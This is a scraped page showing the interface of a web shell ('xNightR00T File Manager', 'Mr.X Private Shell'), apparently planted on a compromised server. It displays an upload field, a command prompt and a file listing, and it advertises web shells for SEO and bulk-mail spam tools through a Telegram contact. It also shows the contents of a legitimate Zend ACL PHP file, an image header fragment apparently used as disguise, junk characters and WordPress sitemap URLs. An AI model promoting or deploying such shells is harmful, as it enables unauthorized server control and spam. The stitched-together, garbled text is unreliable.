xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Acl\Db;

use Zend\Db\Select;
use \Configuration\MapperAbstract;
use \ZendServer\Log\Log,
    \Acl\Role;

class Mapper extends MapperAbstract
{
    /**
     * @var \Application\Db\TableGateway
     */
    protected $rolesTable;

    /**
     * @var \Application\Db\TableGateway
     */
    protected $resourcesTable;

    /**
     * @var \Application\Db\TableGateway
     */
    protected $privilegesTable;

    /**
     * @return \ZendServer\Set
     */
    public function getRoles()
    {
        // get roles from the DB
        /* @var \Zend\Db\Sql\Select */
        $select = new \Zend\Db\Sql\Select();
        $select->from($this->getRolesTable()->getTable());
        $select->order(array('ROLE_ID' => 'ASC'));

        $roles = $this->getRolesTable()->selectWith($select)->toArray();

        foreach ($roles as &$role) {
            if ($role['role_parent']) {
                $role['parent_name'] = $this->getRoleParentName($roles, $role['role_parent']);
            }
        }
        unset($role);
        return new \ZendServer\Set($roles, '\Acl\Role');
    }

    public function getResources()
    {
        $resources = $this->getResourcesTable()->select()->toArray();
        return new \ZendServer\Set($resources, '\Acl\Resource');
    }

    public function getPrivileges()
    {
        $sql        = 'SELECT priv.*, role.role_name, resource.resource_name'.
            ' FROM '.$this->getPrivilegesTable()->getTable().' AS priv'.
            ' JOIN '.$this->getRolesTable()->getTable().' AS role USING(role_id)'.
            ' JOIN '.$this->getResourcesTable()->getTable().' AS resource USING(resource_id)';
        $privileges = $this->getRolesTable()->getAdapter()->query($sql, \Zend\Db\Adapter\Adapter::QUERY_MODE_EXECUTE);
        return new \ZendServer\Set($privileges->toArray(), '\Acl\Privilege');
    }

    /**
     * @return \Application\Db\TableGateway
     */
    public function getRolesTable()
    {
        return $this->rolesTable;
    }

    /**
     * @return \Application\Db\TableGateway
     */
    public function getResourcesTable()
    {
        return $this->resourcesTable;
    }

    /**
     * @return \Application\Db\TableGateway
     */
    public function getPrivilegesTable()
    {
        return $this->privilegesTable;
    }

    /**
     * @param \Application\Db\TableGateway $rolesTable
     * @return \Audit\Db\Mapper
     */
    public function setRolesTable($rolesTable)
    {
        $this->rolesTable = $rolesTable;
        return $this;
    }

    /**
     * @param \Application\Db\TableGateway $resourcesTable
     * @return \Audit\Db\Mapper
     */
    public function setResourcesTable($resourcesTable)
    {
        $this->resourcesTable = $resourcesTable;
        return $this;
    }

    /**
     * @param \Application\Db\TableGateway $privilegesTable
     * @return \Audit\Db\Mapper
     */
    public function setPrivilegesTable($privilegesTable)
    {
        $this->privilegesTable = $privilegesTable;
        return $this;
    }

    /**
     *
     * @param array $roles
     * @param int $parentId
     * @return string|NULL
     */
    protected function getRoleParentName($roles, $parentId)
    {
        foreach ($roles as $role) {
            if ($parentId == $role['role_id']) {
                return $role['role_name'];
            }
        }
        return null;
    }
}

Filemanager

Name Type Size Permission Actions
Mapper.php File 3.29 KB 0644
MapperGroups.php File 2 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml